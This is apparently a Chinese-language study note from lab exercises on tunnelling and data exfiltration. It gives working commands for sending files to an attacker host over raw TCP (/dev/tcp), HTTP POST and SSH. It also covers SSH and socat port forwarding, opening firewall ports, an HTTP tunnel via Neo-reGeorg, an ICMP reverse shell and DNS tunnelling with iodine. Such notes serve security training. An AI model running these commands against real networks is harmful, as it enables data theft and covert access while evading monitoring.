隧道技术

81

使用TCP数据外带

需要注意的是使用TCP协议容易被检测到,因为是非标准协议

攻击者使用

nc -lvp 8080 >/tmp/data.data

在目标机器上执行

tar zcf - task4/ | base64 | dd conv=ebcdic > /dev/tcp/192.168.0.133/8080

进行编码的目的是如果有人检查流量,它将采用非人类可读的格式,并且不会显示传输的文件类型

收到数据后使用

dd conv=ascii if=task4-creds.data |base64 -d > task4-creds.tar

还原

SSH数据外带

ssh建立了一个安全的通道来在客户端和服务器之间交互和移动数据,因此所有传输数据在网络或 Internet 上都是加密的

tar cf - task5/ | ssh thm@jump.thm.com "cd /tmp/; tar xpf -"

SSH远程端口转发

SSH remote port forwarding

首先攻击者在``Attacker PC上创建一个账号

useradd tunneluser -m -d /home/tunneluser -s /bin/true
passwd tunneluser

"-m" 创建了一个家目录供该用户使用。

"-d /home/tunneluser" 将该用户的家目录设置为 "/home/tunneluser"。

"-s /bin/true" 将该用户的 shell 设置为 "/bin/true"。这是一个特殊的 shell,它什么也不做,只是立即退出。通常用于只需要运行特定服务或应用程序的服务账户,不需要完全登录系统。

在PC-1上执行以下命令:

ssh tunneluser@1.1.1.1 -R 3389:3.3.3.3:3389 -N

它会在1.1.1.1服务器上运行一个远程转发服务,当本地主机连接到1.1.1.1的3389端口时,数据将被转发到远程主机3.3.3.3的3389端口

-N表示不执行远程命令,只建立ssh连接

SSH本地端口转发

SSH Local Port Forwarding

ssh tunneluser@1.1.1.1 -L *:80:127.0.0.1:80 -N

使用-L选项进行本地端口转发,*:80:127.0.0.1:80表示将本地机器上所有IP地址的80端口重定向到远程机器上的127.0.0.1:80(Attacker PC)端口

由于新开了一个80端口,可能要创建一个防火墙规则允许与该端口的任意连接

netsh advfirewall firewall add rule name="Open Port 80" dir=in action=allow protocol=TCP localport=80

SSH动态端口转发

ssh tunneluser@1.1.1.1 -R 9050 -N

在这种情况下,SSH 服务器将在端口 9050 上启动一个 SOCKS 代理,并通过 SSH 隧道转发任何连接请求

在Attacker PC中添加proxychains配置:

[ProxyList]
socks5  127.0.0.1 9050

使用socat端口转发

SOCAT port forwarding 1

socat TCP4-LISTEN:3389,fork TCP4:3.3.3.3:3389

fork 选项允许 socat 为每个接收到的连接创建一个新进程,从而可以在不关闭的情况下处理多个连接

由于新开了一个端口,可能需要创建一个防火墙规则以允许与该端口的任意连接

netsh advfirewall firewall add rule name="Open Port 3389" dir=in action=allow protocol=TCP localport=3389

HTTP数据外带

写一个页面来接受数据:

<?php 
if (isset($_POST['file'])) {
        $file = fopen("/tmp/http.bs64","w");
        fwrite($file, $_POST['file']);
        fclose($file);
   }
?>

发送数据:

curl --data "file=$(tar zcf - task6 | base64)" http://web.thm.com/contact.php

接收到的数据发现可能损坏,因为url编码将+号替换为了空格

使用sed命令修复:

sudo sed -i 's/ /+/g' /tmp/http.bs64
cat /tmp/http.bs64 | base64 -d | tar xvfz -

HTTP隧道

可以使用Neo-reGeorg建立http隧道

生成一个加密的客户端:

python3 neoreg.py generate -k xux

将客户端上传并连接客户端:

python3 neoreg.py -k xux -u http://10.10.77.69/uploader/files/tunnel.php

ICMP c2

ICMPDoor 是一个用 Python3 和 scapy 编写的开源反向 shell,使用icmp协议进行通信

客户端 (ip 192.168.0.121):

sudo icmpdoor -i eth0 -d 192.168.0.133

服务端(ip 192.168.0.133)

sudo icmp-cnc -i eth1 -d 192.168.0.121

DNS隧道

使用iodine

服务端:

sudo iodined -f -c -P thmpass 10.1.1.1/24 att.tunnel.com

-f参数是在前台运行服务器

-c参数是跳过检查每个 DNS 请求的客户端 IP 地址和端口

10.1.1.1/24参数是为新网络接口 (dns0) 设置网络 IP。服务器的 IP 地址为 10.1.1.1,客户端为 10.1.1.2

att.tunnel.com为namserver

客户端连接:

sudo iodine -P thmpass att.tunnel.com 

通过ssh动态端口转发

ssh thm@10.1.1.2 -4 -f -N -D 1080

然后就可以设置代理

curl --socks5 127.0.0.1:1080 http://192.168.0.100/demo.php